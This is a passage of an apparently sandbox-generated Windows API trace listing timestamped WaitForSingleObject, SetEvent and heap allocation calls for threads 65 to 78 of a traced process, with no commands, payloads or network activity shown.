dwMilliseconds=0xffffffff) returned 0x0 [0059.942] SetEvent (hEvent=0x1a4) returned 1 [0059.942] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.964] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.216] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.832] SetEvent (hEvent=0x1a4) returned 1 [0061.832] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.858] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.390] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.006] SetEvent (hEvent=0x1a4) returned 1 [0063.006] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.503] SetEvent (hEvent=0x1a4) returned 1 [0063.503] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.615] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.757] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 65 os_tid = 0x39c [0058.983] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.332] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.657] SetEvent (hEvent=0x1a4) returned 1 [0059.657] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.941] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.965] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.207] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.826] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.857] SetEvent (hEvent=0x1a4) returned 1 [0061.857] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.409] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.006] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.502] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.601] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.758] SetEvent (hEvent=0x1a4) returned 1 [0063.758] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 66 os_tid = 0xa48 [0058.984] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.422] SetEvent (hEvent=0x1a4) returned 1 [0059.423] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.669] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.941] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.966] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.267] SetEvent (hEvent=0x1a4) returned 1 [0061.267] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.834] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.863] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.655] SetEvent (hEvent=0x1a4) returned 1 [0062.655] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.220] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.516] SetEvent (hEvent=0x1a4) returned 1 [0063.516] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.625] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.772] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 67 os_tid = 0xbe8 [0058.984] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.421] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.670] SetEvent (hEvent=0x1a4) returned 1 [0059.670] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.941] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.967] SetEvent (hEvent=0x1a4) returned 1 [0059.967] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.259] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.835] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.863] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.468] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.005] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.492] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.596] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.747] SetEvent (hEvent=0x1a4) returned 1 [0063.747] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 68 os_tid = 0xbec [0058.984] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.421] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.655] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.939] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.962] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.233] SetEvent (hEvent=0x1a4) returned 1 [0061.233] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.830] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.860] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.546] SetEvent (hEvent=0x1a4) returned 1 [0062.546] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.219] SetEvent (hEvent=0x1a4) returned 1 [0063.219] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.514] SetEvent (hEvent=0x1a4) returned 1 [0063.514] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.616] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.767] SetEvent (hEvent=0x1a4) returned 1 [0063.767] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 69 os_tid = 0xbe4 [0058.984] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.420] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.656] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.938] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.963] SetEvent (hEvent=0x1a4) returned 1 [0059.963] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.224] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.831] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.859] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.370] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.004] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.493] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.598] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.747] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 70 os_tid = 0xbdc [0058.984] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.435] SetEvent (hEvent=0x1a4) returned 1 [0059.435] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.671] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.943] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.970] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.314] SetEvent (hEvent=0x1a4) returned 1 [0061.314] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.837] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.867] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.775] SetEvent (hEvent=0x1a4) returned 1 [0062.775] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.240] SetEvent (hEvent=0x1a4) returned 1 [0063.240] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.527] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.627] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.788] SetEvent (hEvent=0x1a4) returned 1 [0063.788] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 71 os_tid = 0xbd8 [0058.984] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.435] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.671] SetEvent (hEvent=0x1a4) returned 1 [0059.672] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.943] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.970] SetEvent (hEvent=0x1a4) returned 1 [0059.971] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.305] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.839] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.866] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.585] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.217] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.510] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.616] SetEvent (hEvent=0x1a4) returned 1 [0063.616] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.769] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 72 os_tid = 0xbd4 [0059.107] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.108] SetEvent (hEvent=0x190) returned 1 [0059.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.108] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x180) returned 0x35c6e0 [0059.108] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1000) returned 0x3c49600 [0059.111] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49600, Size=0x2000) returned 0x3c49600 [0059.111] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49600, Size=0x4000) returned 0x3c4b610 [0059.111] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c4b610, Size=0x8000) returned 0x3c4f620 [0059.112] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.112] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1000) returned 0x3c57630 [0059.112] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c57630, Size=0x2000) returned 0x3c57630 [0059.112] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c57630, Size=0x4000) returned 0x3c49600 [0059.112] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49600, Size=0x8000) returned 0x3c57630 [0059.112] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.112] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1000) returned 0x3c5f640 [0059.112] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c5f640, Size=0x2000) returned 0x3c5f640 [0059.113] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c5f640, Size=0x4000) returned 0x3c49600 [0059.113] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49600, Size=0x8000) returned 0x3c5f640 [0059.113] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1000) returned 0x3c67650 [0059.113] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c67650, Size=0x2000) returned 0x3c67650 [0059.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x180) returned 0x38fdd0 [0059.113] SetEvent (hEvent=0x190) returned 1 [0059.138] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.291] SetEvent (hEvent=0x190) returned 1 [0059.291] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.455] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49600, Size=0x8000) returned 0x3c73430 [0059.455] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.784] SetEvent (hEvent=0x190) returned 1 [0059.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.180] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.276] SetEvent (hEvent=0x190) returned 1 [0061.276] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.366] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.434] SetEvent (hEvent=0x190) returned 1 [0061.434] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.520] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.238] SetEvent (hEvent=0x190) returned 1 [0062.238] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.337] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.432] SetEvent (hEvent=0x190) returned 1 [0062.432] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.548] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.658] SetEvent (hEvent=0x190) returned 1 [0062.658] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.777] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.905] SetEvent (hEvent=0x190) returned 1 [0062.905] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.971] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.241] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.540] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.760] SetEvent (hEvent=0x190) returned 1 [0063.760] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 73 os_tid = 0x74c [0059.139] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.291] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.455] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1000) returned 0x3c7b440 [0059.455] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c7b440, Size=0x2000) returned 0x3c67650 [0059.456] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c67650, Size=0x4000) returned 0x3c49600 [0059.456] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49600, Size=0x8000) returned 0x3c7b440 [0059.456] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1000) returned 0x3c67650 [0059.456] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c67650, Size=0x2000) returned 0x3c67650 [0059.456] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x180) returned 0x3c83450 [0059.456] SetEvent (hEvent=0x190) returned 1 [0059.456] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.180] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.276] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.366] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.434] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.521] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.238] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.337] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.431] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.548] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.658] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.777] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.904] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.971] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.241] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.540] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.759] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 74 os_tid = 0xbd0 [0059.139] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.291] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.454] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.683] SetEvent (hEvent=0x190) returned 1 [0059.683] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.155] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.269] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.324] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.433] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.520] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.237] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.336] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.430] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.548] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.656] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.776] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.903] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.970] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.241] SetEvent (hEvent=0x190) returned 1 [0063.241] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.604] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.776] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 75 os_tid = 0xbcc [0059.139] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.292] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x180) returned 0x3c732a0 [0059.292] SetEvent (hEvent=0x190) returned 1 [0059.292] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.470] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.785] SetEvent (hEvent=0x190) returned 1 [0059.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.181] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.277] SetEvent (hEvent=0x190) returned 1 [0061.277] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.367] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.435] SetEvent (hEvent=0x190) returned 1 [0061.435] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.521] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.239] SetEvent (hEvent=0x190) returned 1 [0062.239] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.337] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.433] SetEvent (hEvent=0x190) returned 1 [0062.433] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.549] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.659] SetEvent (hEvent=0x190) returned 1 [0062.659] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.778] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.905] SetEvent (hEvent=0x190) returned 1 [0062.905] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.972] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.242] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.605] SetEvent (hEvent=0x190) returned 1 [0063.605] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.776] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 76 os_tid = 0xbc8 [0059.139] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.292] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.470] SetEvent (hEvent=0x190) returned 1 [0059.470] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.181] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.277] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.367] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.435] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.521] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.239] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.338] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.432] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.549] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.658] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.778] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.905] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.972] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.241] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.604] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.776] SetEvent (hEvent=0x190) returned 1 [0063.776] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 77 os_tid = 0xbc4 [0059.139] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.292] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.455] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.684] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.155] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.270] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.324] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.433] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.520] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.237] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.335] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.430] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.547] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.657] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.776] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.903] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.970] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.225] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.540] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.759] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 78 os_tid = 0xbf0 [0059.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.310] SetEvent (hEvent=0x190) returned 1 [0059.311] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.471] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.141] SetEvent (hEvent=0x190) returned 1 [0061.141] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.189] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.315] SetEvent (hEvent=0x190) returned 1 [0061.315] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.368] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.440] SetEvent (hEvent=0x190) 